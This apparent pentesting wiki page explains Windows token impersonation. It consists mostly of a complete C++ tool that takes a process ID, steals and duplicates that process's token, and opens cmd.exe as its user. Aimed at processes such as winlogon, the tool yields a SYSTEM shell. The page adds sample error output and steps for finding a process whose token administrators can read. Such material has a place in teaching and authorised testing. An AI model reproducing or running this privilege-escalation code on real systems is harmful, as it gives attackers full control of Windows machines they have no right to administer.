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## Code The following code was copied from [here](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). It allows to **indicate a Process ID as argument** and a CMD **running as the user** of the indicated process will be run.\ Running in a High Integrity process you can **indicate the PID of a process running as System** (like winlogon, wininit) and execute a cmd.exe as system. ```cpp impersonateuser.exe 1234 ``` {% code title="impersonateuser.cpp" %} ```cpp #include #include #include BOOL SetPrivilege( HANDLE hToken, // access token handle LPCTSTR lpszPrivilege, // name of privilege to enable/disable BOOL bEnablePrivilege // to enable or disable privilege ) { TOKEN_PRIVILEGES tp; LUID luid; if (!LookupPrivilegeValue( NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid)) // receives LUID of privilege { printf("[-] LookupPrivilegeValue error: %u\n", GetLastError()); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if (bEnablePrivilege) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if (!AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError()); return FALSE; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { printf("[-] The token does not have the specified privilege. \n"); return FALSE; } return TRUE; } std::string get_username() { TCHAR username[UNLEN + 1]; DWORD username_len = UNLEN + 1; GetUserName(username, &username_len); std::wstring username_w(username); std::string username_s(username_w.begin(), username_w.end()); return username_s; } int main(int argc, char** argv) { // Print whoami to compare to thread later printf("[+] Current user is: %s\n", (get_username()).c_str()); // Grab PID from command line argument char* pid_c = argv[1]; DWORD PID_TO_IMPERSONATE = atoi(pid_c); // Initialize variables and structures HANDLE tokenHandle = NULL; HANDLE duplicateTokenHandle = NULL; STARTUPINFO startupInfo; PROCESS_INFORMATION processInformation; ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); startupInfo.cb = sizeof(STARTUPINFO); // Add SE debug privilege HANDLE currentTokenHandle = NULL; BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle); if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE)) { printf("[+] SeDebugPrivilege enabled!\n"); } // Call OpenProcess(), print return code and error code HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE); if (GetLastError() == NULL) printf("[+] OpenProcess() success!\n"); else { printf("[-] OpenProcess() Return Code: %i\n", processHandle); printf("[-] OpenProcess() Error: %i\n", GetLastError()); } // Call OpenProcessToken(), print return code and error code BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle); if (GetLastError() == NULL) printf("[+] OpenProcessToken() success!\n"); else { printf("[-] OpenProcessToken() Return Code: %i\n", getToken); printf("[-] OpenProcessToken() Error: %i\n", GetLastError()); } // Impersonate user in a thread BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle); if (GetLastError() == NULL) { printf("[+] ImpersonatedLoggedOnUser() success!\n"); printf("[+] Current user is: %s\n", (get_username()).c_str()); printf("[+] Reverting thread to original user context\n"); RevertToSelf(); } else { printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken); printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError()); } // Call DuplicateTokenEx(), print return code and error code BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle); if (GetLastError() == NULL) printf("[+] DuplicateTokenEx() success!\n"); else { printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken); printf("[-] DupicateTokenEx() Error: %i\n", GetLastError()); } // Call CreateProcessWithTokenW(), print return code and error code BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation); if (GetLastError() == NULL) printf("[+] Process spawned!\n"); else { printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess); printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError()); } return 0; } ``` {% endcode %} ## Error On some occasions you may try to impersonate System and it won't work showing an output like the following: ```cpp [+] OpenProcess() success! [+] OpenProcessToken() success! [-] ImpersonatedLoggedOnUser() Return Code: 1 [-] ImpersonatedLoggedOnUser() Error: 5 [-] DuplicateTokenEx() Return Code: 0 [-] DupicateTokenEx() Error: 5 [-] CreateProcessWithTokenW Return Code: 0 [-] CreateProcessWithTokenW Error: 1326 ``` This means that even if you are running on a High Integrity level **you don't have enough permissions**.\ Let's check current Administrator permissions over `svchost.exe` processes with **processes explorer** (or you can also use process hacker): 1. Select a process of `svchost.exe` 2. Right Click --> Properties 3. Inside "Security" Tab click in the bottom right the button "Permissions" 4. Click on "Advanced" 5. Select "Administrators" and click on "Edit" 6. Click on "Show advanced permissions" ![](<../../.gitbook/assets/image (322).png>) The previous image contains all the privileges that "Administrators" have over the selected process (as you can see in case of `svchost.exe` they only have "Query" privileges) See the privileges "Administrators" have over `winlogon.exe`: ![](<../../.gitbook/assets/image (323).png>) Inside that process "Administrators" can "Read Memory" and "Read Permissions" which probably allows Administrators to impersonate the token used by this process.
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